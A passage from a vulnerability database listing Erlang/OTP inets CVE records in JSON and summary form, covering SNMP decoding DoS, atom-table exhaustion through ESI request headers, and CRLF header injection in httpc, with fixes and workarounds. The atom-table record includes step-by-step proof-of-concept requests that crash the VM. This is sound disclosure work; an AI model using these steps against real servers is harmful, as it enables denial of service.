                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-116225.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-116225",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-116225"
            },
            {
              "name": "Erlang/OTP version ordering",
              "tags": [
                "x_version-scheme"
              ],
              "url": "https://www.erlang.org/doc/system/versions.html#order-of-versions"
            },
            {
              "name": "Fix commit 6f8c104 in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/6f8c1044d17bfaa9112bf3cd471cec0d61e146ca"
            },
            {
              "name": "Fix commit 8c5cd9b in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/8c5cd9bc6b7a9c8fdea060b0cf19a4e4a069350f"
            },
            {
              "name": "Fix commit a1bfce6 in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/a1bfce6a034b5cbb17f85b3eea2f601c7a691805"
            }
          ],
          "source": {
            "discovery": "UNKNOWN"
          },
          "title": "Quadratic CPU Denial of Service in SNMP BER Object Identifier Sub-Identifier Decoding",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eRestrict network access to the SNMP agent and manager UDP ports to trusted management hosts only, using firewall rules or by binding the agent to a dedicated management interface. Disable SNMPv1 and SNMPv2c in the agent if they are not needed. This\nreduces, but does not eliminate, the exposure, since SNMPv3 discovery messages are still decoded before authentication.\u003c/p\u003e\n\u003cp\u003eNote that community strings and SNMPv3 credentials do not mitigate this issue, since decoding happens before they are checked.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Restrict network access to the SNMP agent and manager UDP ports to trusted management hosts only, using firewall rules or by binding the agent to a dedicated management interface. Disable SNMPv1 and SNMPv2c in the agent if they are not needed. This\nreduces, but does not eliminate, the exposure, since SNMPv3 discovery messages are still decoded before authentication.\n\nNote that community strings and SNMPv3 credentials do not mitigate this issue, since decoding happens before they are checked."
                }
              ],
              "value": "Restrict network access to the SNMP agent and manager UDP ports to trusted management hosts only, using firewall rules or by binding the agent to a dedicated management interface. Disable SNMPv1 and SNMPv2c in the agent if they are not needed. This reduces, but does not eliminate, the exposure, since SNMPv3 discovery messages are still decoded before authentication.\n\nNote that community strings and SNMPv3 credentials do not mitigate this issue, since decoding happens before they are checked."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-116225",
        "datePublished": "2026-11-24T15:07:29.123Z",
        "dateReserved": "2026-10-25T17:30:02.219Z",
        "dateUpdated": "2026-11-24T15:07:29.123Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-116382 (GCVE-0-2026-116382)

    Vulnerability from cvelistv5 – Published: 2026-11-24 15:05 – Updated: 2026-11-24 15:05
    VLAI
    Title
    Attacker-controlled ESI headers cause persistent atom-table growth in `inets`
    Summary
    Allocation of Resources Without Limits or Throttling vulnerability in Erlang OTP inets (httpd_script_env module) allows an unauthenticated remote attacker to exhaust the atom table of an httpd server that serves ESI scripts. When mod_esi builds the environment for an ESI callback, httpd_script_env:http_env_element/3 checks that a request header name already exists as an atom, then creates the atom http_<header-name> with list_to_atom/1. Atoms are never garbage collected, and each new atom passes the existence check on a later request. So a header named node creates http_node, a header named http_node creates http_http_node, and so on. A stream of requests to any ESI URL grows the atom table until it reaches its limit (+t), and then the whole Erlang VM aborts, together with every application on the node. This issue affects OTP from OTP 17.0 before OTP 27.3.4.20, OTP 28.5.0.9, and OTP 29.1.3, corresponding to inets from 5.10 before 9.3.2.9, 9.6.2.5, and 9.8.2. Whether OTP before OTP 17.0, corresponding to inets before 5.10, is affected is unknown.
    CWE
    • CWE-770 - Allocation of Resources Without Limits or Throttling
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Erlang OTP Affected: 5.10 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 17.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 84adefa331c4159d432d22840663c38f155cd4c1 , < 5c5c8c038ae7044368bc7bc1eedea09d77a3047a (git)
    Unaffected: 5c5c8c038ae7044368bc7bc1eedea09d77a3047a , < * (git)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 15:05
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "httpd_script_env",
                "mod_esi"
              ],
              "packageName": "inets",
              "packageURL": "pkg:otp/inets?repository_url=https:%2F%2Fgithub.com%2Ferlang%2Fotp\u0026vcs_url=git%2Bhttps:%2F%2Fgithub.com%2Ferlang%2Fotp.git",
              "product": "OTP",
              "programFiles": [
                "src/http_server/httpd_script_env.erl",
                "src/http_server/mod_esi.erl"
              ],
              "programRoutines": [
                {
                  "name": "httpd_script_env:http_env_element/3"
                },
                {
                  "name": "httpd_script_env:create_env/3"
                },
                {
                  "name": "mod_esi:do/1"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "9.3.2.9",
                      "status": "unaffected"
                    },
                    {
                      "at": "9.6.2.5",
                      "status": "unaffected"
                    },
                    {
                      "at": "9.8.2",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "5.10",
                  "versionType": "otp"
                }
              ]
            },
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "httpd_script_env",
                "mod_esi"
              ],
              "packageName": "otp",
              "packageURL": "pkg:software-id/erlang.org/otp",
              "product": "OTP",
              "programFiles": [
                "lib/inets/src/http_server/httpd_script_env.erl",
                "lib/inets/src/http_server/mod_esi.erl"
              ],
              "programRoutines": [
                {
                  "name": "httpd_script_env:http_env_element/3"
                },
                {
                  "name": "httpd_script_env:create_env/3"
                },
                {
                  "name": "mod_esi:do/1"
                }
              ],
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "27.3.4.20",
                      "status": "unaffected"
                    },
                    {
                      "at": "28.5.0.9",
                      "status": "unaffected"
                    },
                    {
                      "at": "29.1.3",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "17.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "httpd_script_env",
                "mod_esi"
              ],
              "packageName": "erlang/otp",
              "packageURL": "pkg:github/erlang/otp",
              "product": "OTP",
              "programFiles": [
                "lib/inets/src/http_server/httpd_script_env.erl",
                "lib/inets/src/http_server/mod_esi.erl"
              ],
              "programRoutines": [
                {
                  "name": "httpd_script_env:http_env_element/3"
                },
                {
                  "name": "httpd_script_env:create_env/3"
                },
                {
                  "name": "mod_esi:do/1"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "lessThan": "5c5c8c038ae7044368bc7bc1eedea09d77a3047a",
                  "status": "affected",
                  "version": "84adefa331c4159d432d22840663c38f155cd4c1",
                  "versionType": "git"
                },
                {
                  "lessThan": "*",
                  "status": "unaffected",
                  "version": "5c5c8c038ae7044368bc7bc1eedea09d77a3047a",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eOnly \u003ccode\u003ehttpd\u003c/code\u003e servers with at least one \u003ccode\u003eerl_script_alias\u003c/code\u003e configured are affected, and only for clients that can reach an ESI URL prefix. Where \u003ccode\u003emod_auth\u003c/code\u003e or \u003ccode\u003emod_security\u003c/code\u003e directory protection sits in front of \u003ccode\u003emod_esi\u003c/code\u003e, only authenticated clients can trigger the issue. CGI scripts served by \u003ccode\u003emod_cgi\u003c/code\u003e and the \u003ccode\u003ehttpc\u003c/code\u003e client are not affected.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Only `httpd` servers with at least one `erl_script_alias` configured are affected, and only for clients that can reach an ESI URL prefix. Where `mod_auth` or `mod_security` directory protection sits in front of `mod_esi`, only authenticated clients can trigger the issue. CGI scripts served by `mod_cgi` and the `httpc` client are not affected."
                }
              ],
              "value": "Only httpd servers with at least one erl_script_alias configured are affected, and only for clients that can reach an ESI URL prefix. Where mod_auth or mod_security directory protection sits in front of mod_esi, only authenticated clients can trigger the issue. CGI scripts served by mod_cgi and the httpc client are not affected."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "27.3.4.20",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "28.5.0.9",
                      "versionStartIncluding": "28.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "29.1.3",
                      "versionStartIncluding": "29.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "John Downey"
            },
            {
              "lang": "en",
              "type": "finder",
              "value": "Lukas Backstr\u00f6m"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "John Downey"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            }
          ],
          "dateAssigned": "2026-10-29T16:00:29.000Z",
          "datePublic": "2026-11-24T15:05:51.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eAllocation of Resources Without Limits or Throttling vulnerability in Erlang OTP inets (\u003ccode\u003ehttpd_script_env\u003c/code\u003e module) allows an unauthenticated remote attacker to exhaust the atom table of an \u003ccode\u003ehttpd\u003c/code\u003e server that serves ESI scripts.\u003c/p\u003e\n\u003cp\u003eWhen \u003ccode\u003emod_esi\u003c/code\u003e builds the environment for an ESI callback, \u003ccode\u003ehttpd_script_env:http_env_element/3\u003c/code\u003e checks that a request header name already exists as an atom, then creates the atom \u003ccode\u003ehttp_\u0026lt;header-name\u0026gt;\u003c/code\u003e with \u003ccode\u003elist_to_atom/1\u003c/code\u003e. Atoms are never garbage collected, and each new atom passes the existence check on a later request. So a header named \u003ccode\u003enode\u003c/code\u003e creates \u003ccode\u003ehttp_node\u003c/code\u003e, a header named \u003ccode\u003ehttp_node\u003c/code\u003e creates \u003ccode\u003ehttp_http_node\u003c/code\u003e, and so on. A stream of requests to any ESI URL grows the atom table until it reaches its limit (\u003ccode\u003e+t\u003c/code\u003e), and then the whole Erlang VM aborts, together with every application on the node.\u003c/p\u003e\n\u003cp\u003eThis issue affects OTP from OTP\u0026nbsp;17.0 before OTP\u0026nbsp;27.3.4.20, OTP\u0026nbsp;28.5.0.9, and OTP\u0026nbsp;29.1.3, corresponding to inets from 5.10 before 9.3.2.9, 9.6.2.5, and 9.8.2. Whether OTP before OTP\u0026nbsp;17.0, corresponding to inets before 5.10, is affected is unknown.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Allocation of Resources Without Limits or Throttling vulnerability in Erlang OTP inets (`httpd_script_env` module) allows an unauthenticated remote attacker to exhaust the atom table of an `httpd` server that serves ESI scripts.\n\nWhen `mod_esi` builds the environment for an ESI callback, `httpd_script_env:http_env_element/3` checks that a request header name already exists as an atom, then creates the atom `http_\u003cheader-name\u003e` with `list_to_atom/1`. Atoms are never garbage collected, and each new atom passes the existence check on a later request. So a header named `node` creates `http_node`, a header named `http_node` creates `http_http_node`, and so on. A stream of requests to any ESI URL grows the atom table until it reaches its limit (`+t`), and then the whole Erlang VM aborts, together with every application on the node.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to inets from 5.10 before 9.3.2.9, 9.6.2.5, and 9.8.2. Whether OTP before OTP\u00a017.0, corresponding to inets before 5.10, is affected is unknown."
                }
              ],
              "value": "Allocation of Resources Without Limits or Throttling vulnerability in Erlang OTP inets (httpd_script_env module) allows an unauthenticated remote attacker to exhaust the atom table of an httpd server that serves ESI scripts.\n\nWhen mod_esi builds the environment for an ESI callback, httpd_script_env:http_env_element/3 checks that a request header name already exists as an atom, then creates the atom http_\u003cheader-name\u003e with list_to_atom/1. Atoms are never garbage collected, and each new atom passes the existence check on a later request. So a header named node creates http_node, a header named http_node creates http_http_node, and so on. A stream of requests to any ESI URL grows the atom table until it reaches its limit (+t), and then the whole Erlang VM aborts, together with every application on the node.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to inets from 5.10 before 9.3.2.9, 9.6.2.5, and 9.8.2. Whether OTP before OTP\u00a017.0, corresponding to inets before 5.10, is affected is unknown."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-130",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn unauthenticated remote client can permanently grow the atom table of the node with ordinary HTTP requests. When the table reaches its limit, the Erlang VM aborts and takes down every application on the node, not only \u003ccode\u003ehttpd\u003c/code\u003e.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An unauthenticated remote client can permanently grow the atom table of the node with ordinary HTTP requests. When the table reaches its limit, the Erlang VM aborts and takes down every application on the node, not only `httpd`."
                    }
                  ],
                  "value": "An unauthenticated remote client can permanently grow the atom table of the node with ordinary HTTP requests. When the table reaches its limit, the Erlang VM aborts and takes down every application on the node, not only httpd."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "NETWORK",
                "baseScore": 8.2,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-770",
                  "description": "CWE-770 Allocation of Resources Without Limits or Throttling",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T15:05:52.681Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "Attacker-controlled ESI headers cause persistent atom-table growth in `inets`",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/erlang/otp/security/advisories/GHSA-7fjc-wcvc-vp96"
            },
            {
              "name": "EEF CNA record for CVE-2026-116382",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-116382.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-116382",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-116382"
            },
            {
              "name": "Erlang/OTP version ordering",
              "tags": [
                "x_version-scheme"
              ],
              "url": "https://www.erlang.org/doc/system/versions.html#order-of-versions"
            },
            {
              "name": "Fix commit 5c5c8c0 in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/5c5c8c038ae7044368bc7bc1eedea09d77a3047a"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "Attacker-controlled ESI headers cause persistent atom-table growth in `inets`",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cul\u003e\n\u003cli\u003eIf you do not need ESI, remove \u003ccode\u003eerl_script_alias\u003c/code\u003e from the \u003ccode\u003ehttpd\u003c/code\u003e configuration.\u003c/li\u003e\n\u003cli\u003eRestrict the ESI URL prefixes to trusted clients, for example with \u003ccode\u003emod_auth\u003c/code\u003e directory protection. Authenticated clients can still trigger the issue.\u003c/li\u003e\n\u003cli\u003ePut \u003ccode\u003ehttpd\u003c/code\u003e behind a reverse proxy that forwards only an allowlist of standard request headers to the ESI URL prefixes. For nginx, set \u003ccode\u003eproxy_pass_request_headers off\u003c/code\u003e and add one \u003ccode\u003eproxy_set_header\u003c/code\u003e for each allowed header.\u003c/li\u003e\n\u003c/ul\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "* If you do not need ESI, remove `erl_script_alias` from the `httpd` configuration.\n* Restrict the ESI URL prefixes to trusted clients, for example with `mod_auth` directory protection. Authenticated clients can still trigger the issue.\n* Put `httpd` behind a reverse proxy that forwards only an allowlist of standard request headers to the ESI URL prefixes. For nginx, set `proxy_pass_request_headers off` and add one `proxy_set_header` for each allowed header."
                }
              ],
              "value": "* If you do not need ESI, remove erl_script_alias from the httpd configuration.\n* Restrict the ESI URL prefixes to trusted clients, for example with mod_auth directory protection. Authenticated clients can still trigger the issue.\n* Put httpd behind a reverse proxy that forwards only an allowlist of standard request headers to the ESI URL prefixes. For nginx, set proxy_pass_request_headers off and add one proxy_set_header for each allowed header."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eStart \u003ccode\u003ehttpd\u003c/code\u003e with \u003ccode\u003e{erl_script_alias, {\"/esi\", [Mod]}}\u003c/code\u003e, where \u003ccode\u003eMod\u003c/code\u003e exports any ESI callback \u003ccode\u003efun/3\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eSend \u003ccode\u003eGET /esi/Mod:fun\u003c/code\u003e with a request header named \u003ccode\u003enode\u003c/code\u003e. The node now holds the atom \u003ccode\u003ehttp_node\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eSend the same request with a header named \u003ccode\u003ehttp_node\u003c/code\u003e. The node now holds \u003ccode\u003ehttp_http_node\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eRepeat with each new name. Each request adds an atom that persists, until the atom table limit aborts the VM.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. Start `httpd` with `{erl_script_alias, {\"/esi\", [Mod]}}`, where `Mod` exports any ESI callback `fun/3`.\n2. Send `GET /esi/Mod:fun` with a request header named `node`. The node now holds the atom `http_node`.\n3. Send the same request with a header named `http_node`. The node now holds `http_http_node`.\n4. Repeat with each new name. Each request adds an atom that persists, until the atom table limit aborts the VM."
                }
              ],
              "value": "* Start httpd with {erl_script_alias, {\"/esi\", [Mod]}}, where Mod exports any ESI callback fun/3.\n* Send GET /esi/Mod:fun with a request header named node. The node now holds the atom http_node.\n* Send the same request with a header named http_node. The node now holds http_http_node.\n* Repeat with each new name. Each request adds an atom that persists, until the atom table limit aborts the VM."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-116382",
        "datePublished": "2026-11-24T15:05:52.681Z",
        "dateReserved": "2026-10-28T13:15:01.637Z",
        "dateUpdated": "2026-11-24T15:05:52.681Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-116295 (GCVE-0-2026-116295)

    Vulnerability from cvelistv5 – Published: 2026-11-24 15:05 – Updated: 2026-11-24 15:05
    VLAI
    Title
    CRLF injection in httpc request headers
    Summary
    Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') vulnerability in Erlang OTP inets (httpc module) allows HTTP Request Splitting. httpc writes request header names and values to the wire without neutralizing CR, LF or NUL characters. On the default path http_request:mk_key_value_str/2, and with the headers_as_is option httpc_request:http_headers/2, build each header line by plain concatenation of the name, ": ", the value and CRLF. A CR/LF in a name or value ends the header line early. An attacker who controls data that an application puts into a header passed to httpc:request/4,5 can add or override request headers, or append a second request on the same connection. Applications that pass only constant or validated header names and values are not affected. The request line is not affected, because uri_string rejects URLs that contain raw CR/LF. This issue affects OTP from OTP 17.0 before OTP 27.3.4.20, OTP 28.5.0.9, and OTP 29.1.3, corresponding to inets from 5.10 before 9.3.2.9, 9.6.2.5, and 9.8.2. Whether OTP before OTP 17.0, corresponding to inets before 5.10, is affected is unknown.
    CWE
    • CWE-113 - Improper Neutralization of CRLF Sequences in HTTP Headers
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Erlang OTP Affected: 5.10 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 17.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 84adefa331c4159d432d22840663c38f155cd4c1 , < a3197fab19232e370d940cb187fa3201b2c9bd48 (git)
    Unaffected: a3197fab19232e370d940cb187fa3201b2c9bd48 , < * (git)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 15:05
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "http_request",
                "httpc_request",
                "httpc"
              ],
              "packageName": "inets",
              "packageURL": "pkg:otp/inets?repository_url=https:%2F%2Fgithub.com%2Ferlang%2Fotp\u0026vcs_url=git%2Bhttps:%2F%2Fgithub.com%2Ferlang%2Fotp.git",
              "product": "OTP",
              "programFiles": [
                "src/http_lib/http_request.erl",
                "src/http_client/httpc_request.erl",
                "src/http_client/httpc.erl"
              ],
              "programRoutines": [
                {
                  "name": "http_request:http_headers/1"
                },
                {
                  "name": "http_request:mk_key_value_str/2"
                },
                {
                  "name": "httpc_request:http_headers/2"
                },
                {
                  "name": "httpc:request/4"
                },
                {
                  "name": "httpc:request/5"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "9.3.2.9",
                      "status": "unaffected"
                    },
                    {
                      "at": "9.6.2.5",
                      "status": "unaffected"
                    },
                    {
                      "at": "9.8.2",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "5.10",
                  "versionType": "otp"
                }
              ]
            },
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "http_request",
                "httpc_request",
                "httpc"
              ],
              "packageName": "otp",
              "packageURL": "pkg:software-id/erlang.org/otp",
              "product": "OTP",
              "programFiles": [
                "lib/inets/src/http_lib/http_request.erl",
                "lib/inets/src/http_client/httpc_request.erl",
                "lib/inets/src/http_client/httpc.erl"
              ],
              "programRoutines": [
                {
                  "name": "http_request:http_headers/1"
                },
                {
                  "name": "http_request:mk_key_value_str/2"
                },
                {
                  "name": "httpc_request:http_headers/2"
                },
                {
                  "name": "httpc:request/4"
                },
                {
                  "name": "httpc:request/5"
                }
              ],
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "27.3.4.20",
                      "status": "unaffected"
                    },
                    {
                      "at": "28.5.0.9",
                      "status": "unaffected"
                    },
                    {
                      "at": "29.1.3",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "17.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "http_request",
                "httpc_request",
                "httpc"
              ],
              "packageName": "erlang/otp",
              "packageURL": "pkg:github/erlang/otp",
              "product": "OTP",
              "programFiles": [
                "lib/inets/src/http_lib/http_request.erl",
                "lib/inets/src/http_client/httpc_request.erl",
                "lib/inets/src/http_client/httpc.erl"
              ],
              "programRoutines": [
                {
                  "name": "http_request:http_headers/1"
                },
                {
                  "name": "http_request:mk_key_value_str/2"
                },
                {
                  "name": "httpc_request:http_headers/2"
                },
                {
                  "name": "httpc:request/4"
                },
                {
                  "name": "httpc:request/5"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "lessThan": "a3197fab19232e370d940cb187fa3201b2c9bd48",
                  "status": "affected",
                  "version": "84adefa331c4159d432d22840663c38f155cd4c1",
                  "versionType": "git"
                },
                {
                  "lessThan": "*",
                  "status": "unaffected",
                  "version": "a3197fab19232e370d940cb187fa3201b2c9bd48",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "27.3.4.20",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "28.5.0.9",
                      "versionStartIncluding": "28.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "29.1.3",
                      "versionStartIncluding": "29.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Lukas Backstr\u00f6m"
            },
            {
              "lang": "en",
              "type": "finder",
              "value": "ts-klassen"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "ts-klassen"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            }
          ],
          "dateAssigned": "2026-10-29T15:51:17.000Z",
          "datePublic": "2026-11-24T15:05:04.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eImproper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Request/Response Splitting\u0027) vulnerability in Erlang OTP inets (\u003ccode\u003ehttpc\u003c/code\u003e module) allows HTTP Request Splitting.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ehttpc\u003c/code\u003e writes request header names and values to the wire without neutralizing CR, LF or NUL characters. On the default path \u003ccode\u003ehttp_request:mk_key_value_str/2\u003c/code\u003e, and with the \u003ccode\u003eheaders_as_is\u003c/code\u003e option \u003ccode\u003ehttpc_request:http_headers/2\u003c/code\u003e, build each header line by plain concatenation of the name, \u003ccode\u003e\": \"\u003c/code\u003e, the value and CRLF. A CR/LF in a name or value ends the header line early. An attacker who controls data that an application puts into a header passed to \u003ccode\u003ehttpc:request/4,5\u003c/code\u003e can add or override request headers, or append a second request on the same connection.\u003c/p\u003e\n\u003cp\u003eApplications that pass only constant or validated header names and values are not affected. The request line is not affected, because \u003ccode\u003euri_string\u003c/code\u003e rejects URLs that contain raw CR/LF.\u003c/p\u003e\n\u003cp\u003eThis issue affects OTP from OTP\u0026nbsp;17.0 before OTP\u0026nbsp;27.3.4.20, OTP\u0026nbsp;28.5.0.9, and OTP\u0026nbsp;29.1.3, corresponding to inets from 5.10 before 9.3.2.9, 9.6.2.5, and 9.8.2. Whether OTP before OTP\u0026nbsp;17.0, corresponding to inets before 5.10, is affected is unknown.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
